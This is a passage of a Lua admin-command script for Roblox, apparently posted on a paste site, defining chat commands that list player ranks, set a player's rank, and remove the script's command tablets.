  2514. Ping(tostring(i)..": "..tostring(v), Speaker)
  2515. end)
  2516. end
  2517. end)
  2518.  
  2519. Command('Ranks', 0, 'Shows all players in ranking table',
  2520. function(Msg,Speaker)
  2521. for _,v in pairs(Rankings) do
  2522. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2523. end
  2524. end)
  2525.  
  2526.  
  2527. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  2528. local Split = GetSplit(Msg)
  2529. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2530. local Rank = tonumber(Msg:sub(Split + 1))
  2531. if #PlrTab > 0 then
  2532. for _,v in pairs(PlrTab) do
  2533. if v.Name ~= Owner then
  2534. ChangeRank(v, Rank)
  2535. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2536. end
  2537. end
  2538. end
  2539. end)
  2540.  
  2541. Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
  2542. Dismiss()
  2543. Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
  2544. Dismiss()
  2545. Removed = true
  2546. for i,v in pairs(getfenv(1)) do
  2547. getfenv(1)[i] = nil
  2548. end
  2549. script.Disabled = false
  2550. end)
  2551. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement